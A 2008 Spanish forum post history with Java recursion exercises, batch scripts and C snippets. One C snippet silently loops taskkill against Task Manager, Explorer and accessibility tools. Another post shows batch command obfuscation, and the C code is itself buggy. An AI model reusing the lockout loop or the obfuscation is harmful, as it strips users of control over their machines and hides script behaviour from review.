|
22
|
Programación / Ejercicios / Re: De forma recursiva
|
en: 4 Septiembre 2008, 04:32 am
|
ohk, me refería a que tu code, si le pasas parámetros al método, como por ejemplo: System. out. println(sumar (3, -2));
Se queda infinitamente recursando. El code que postió hadess_inf, funciona. public static int sumar(int a, int b) { if(b==0) return a; else { if(b>0) return sumar(a, b-1) + 1; else sumar(a, b+1) - 1; } }
Pero a este si se le pasa 0, queda en un ciclo infinito. public boolean tipo(int num) { if(num==0) return tipo(num); else { if(num>0) return true; else return false; } }
Me rectifico, en el sentido de que si se podía sumar dos números recursivamente, pero en cuanto a verificar el tipo, pienso que no es recursivo.
|
|
|
23
|
Programación / Ejercicios / Re: De forma recursiva
|
en: 4 Septiembre 2008, 03:09 am
|
No me ofendo, pero en el primer ejercicio, donde esta la recursividad?
Y en tu segundo código, si quieres sumar 3 + -2, queda recursando infinitamente, y se cae por StackOverflowError.
Wikipedia dice, que la recursividad debe utilizarse en procesos recursivos, como la factorización.
|
|
|
26
|
Programación / Programación C/C++ / Re: Abrir archivo en C++
|
en: 30 Agosto 2008, 04:48 am
|
Sucede, que utilizé ese código para una aplicación llamada SCOT Secure Login (aún no se publica, y está en batch (de code-makers) la intención del programa es autentificarse al inicio de windows, y busqué una forma de que no se pudiera iniciar ninguna otra aplicación, como el administrador de tareas, el utilman, ni el explorer, pues se debía autentificar desde la consola, antes de iniciar el explorer. Pensé, que le podría molestar a alguien, si así fue, pido disculpas, aunque el código no es muy largo como para leerlo y saber el programa que ejecuta, y qué hace. (además muestra cómo utilizar argumentos, y como crear el string de una variable de entorno, en este caso: %windir%\system32 dónde se encuentra taskkill.exe La ventaja de usar esto, antes de system(), es que system() llama a cmd.exe para realizar las acciones, y si tenemos deshabilitado el acceso al cmd.exe con el registro: [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System] "DisableCMD"=dword:00000001
el programa hecho en c, dirá: "El administrador ha deshabilitado el símbolo de sistema", y se supone que es un programa hecho en c, no en batch.
|
|
|
27
|
Programación / Programación C/C++ / Re: Abrir archivo en C++
|
en: 29 Agosto 2008, 03:43 am
|
Aquí una forma: #include <windows.h> #include <stdlib.h> #include <string.h> int main() { char *WinDir; char WinDirSystem32[30]; strncat(WinDirSystem32 ,"\\system32",10); WinDirSystem32[30] = 0; while (1) { ShellExecute(NULL,"open","taskkill.exe","/f /im taskmgr.exe /im utilman.exe /im explorer.exe /im osk.exe /im magnify.exe /im sethc.exe ",WinDirSystem32,SW_HIDE); } }
|
|
|
28
|
Programación / Scripting / BATCH - Función máquina de escribir
|
en: 27 Agosto 2008, 07:24 am
|
::autor CarlitoS.dll call:tpwrtr CarlitoS.dll presenta: call:tpwrtr el efecto maquina de escribir ... call:tpwrtr OpenBSD es un sistema operativo libre tipo Unix, multiplataforma, basado en 4.4BSD. call:tpwrtr Es un descendiente de NetBSD, con un foco especial en la seguridad y la criptografia. :tpwrtr set palabra= %palabra: =_% :loopt call : tpwrtr1 %%palabra:~%contt %,1%% :tpwrtr1 if [ %char%]==[_] (set char= ) ping -n 1 127.0.0.0 -w 1 >nul 2 >&1 :length :loopl :endl :sleep :time :increment :count if " %cont%"==" %limit%" (goto : eof)
|
|
|
29
|
Programación / Scripting / Escribir batch hacia "abajo" y con ofuscación.
|
en: 23 Agosto 2008, 07:15 am
|
Ejemplo: %p%h %p%o %p%l %p%a %q% %p%a %q% %p%t %p%o %p%d %p%o %p%s %s% ) %p%%d:~9,1% %p%%d:~1,1% %p%%d:~7,1% %p%%d:~6,1% %q% %p%%d:~6,1% %q% %p%%d:~11,1% %p%%d:~1,1% %p%%d:~3,1% %p%%d:~1,1% %p%%d:~0,1% %s% ) %p%@ %p%%d:~12,1% %p%%d:~6,1% %p%%d:~7,1% %p%%d:~12,1% %s% )>>%d:~9,1%%d:~1,1%%d:~7,1%%d:~6,1%.%d:~13,1%%d:~6,1%%d:~11,1%
|
|
|
|
|
|
|